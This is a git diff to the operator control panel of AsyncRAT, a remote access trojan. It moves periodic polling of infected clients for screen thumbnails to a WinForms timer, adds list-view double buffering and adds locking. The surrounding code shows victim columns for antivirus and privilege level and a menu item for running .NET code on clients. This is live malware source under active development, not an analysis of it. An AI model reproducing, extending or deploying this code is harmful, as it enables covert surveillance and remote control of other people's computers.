diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs index 3c6b580..b15d751 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs @@ -37,9 +37,9 @@ this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_admin = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_av = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuClient = new System.Windows.Forms.ContextMenuStrip(this.components); this.aBOUTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); @@ -115,6 +115,7 @@ this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); this.TimerTask = new System.Windows.Forms.Timer(this.components); + this.GetThumbnails = new System.Windows.Forms.Timer(this.components); this.contextMenuClient.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.tabControl1.SuspendLayout(); @@ -188,11 +189,6 @@ this.lv_version.Text = "VERSION"; this.lv_version.Width = 126; // - // lv_prefor - // - this.lv_prefor.Text = "PERFORMANCE"; - this.lv_prefor.Width = 200; - // // lv_admin // this.lv_admin.Text = "PRIVILEGES"; @@ -203,6 +199,11 @@ this.lv_av.Text = "ANTI-VIRUS"; this.lv_av.Width = 136; // + // lv_prefor + // + this.lv_prefor.Text = "PERFORMANCE"; + this.lv_prefor.Width = 200; + // // contextMenuClient // this.contextMenuClient.ImageScalingSize = new System.Drawing.Size(20, 20); @@ -835,6 +836,11 @@ this.TimerTask.Interval = 5000; this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick); // + // GetThumbnails + // + this.GetThumbnails.Interval = 5000; + this.GetThumbnails.Tick += new System.EventHandler(this.GetThumbnails_Tick); + // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -954,6 +960,7 @@ private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel2; private System.Windows.Forms.ToolStripMenuItem executeNETCodeToolStripMenuItem; private System.Windows.Forms.ColumnHeader lv_av; + public System.Windows.Forms.Timer GetThumbnails; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index c375888..75a24d1 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -74,10 +74,10 @@ namespace AsyncRAT_Sharp private async void Form1_Load(object sender, EventArgs e) { - System.Reflection.PropertyInfo aProp = typeof(System.Windows.Forms.Control) - .GetProperty("DoubleBuffered", System.Reflection.BindingFlags.NonPublic | - System.Reflection.BindingFlags.Instance); - aProp.SetValue(listView1, true, null); + + ListviewDoubleBuffer.Enable(listView1); + ListviewDoubleBuffer.Enable(listView2); + ListviewDoubleBuffer.Enable(listView3); CheckFiles(); lvwColumnSorter = new ListViewColumnSorter(); @@ -211,36 +211,32 @@ namespace AsyncRAT_Sharp this.Opacity = 0.95; } - private static System.Threading.Timer Tick { get; set; } - private void STARTToolStripMenuItem_Click(object sender, EventArgs e) + private void GetThumbnails_Tick(object sender, EventArgs e) { - if (Tick == null && listView1.Items.Count > 0) + if (listView1.Items.Count > 0) { - Tick = new System.Threading.Timer(GetThumbnails, null, 2500, 5000); + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "thumbnails"; + + foreach (ListViewItem itm in listView1.Items) + { + Clients client = (Clients)itm.Tag; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + } + catch { } } } - private void GetThumbnails(object obj) - { - if (Program.form1.listView3.InvokeRequired) - { - Program.form1.listView3.BeginInvoke((MethodInvoker)(() => - { - if (listView1.Items.Count > 0) - { - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "thumbnails"; - foreach (ListViewItem itm in listView1.Items) - { - Clients client = (Clients)itm.Tag; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - } - catch { } - } - })); + private void STARTToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView1.Items.Count > 0) + { + GetThumbnails.Stop(); + GetThumbnails.Start(); + GetThumbnails.Tag = (object)"started"; } } @@ -248,8 +244,8 @@ namespace AsyncRAT_Sharp { try { - Tick?.Dispose(); - Tick = null; + GetThumbnails.Tag = (object)"stopped"; + GetThumbnails.Stop(); listView3.Items.Clear(); ThumbnailImageList.Images.Clear(); foreach (ListViewItem itm in listView1.Items) @@ -529,7 +525,10 @@ namespace AsyncRAT_Sharp { try { - listView2.Items.Clear(); + lock (Settings.Listview2Lock) + { + listView2.Items.Clear(); + } } catch { } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx index c287e58..6483fbc 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx @@ -610,6 +610,9 @@ 693, 65 + + 1045, 65 + 112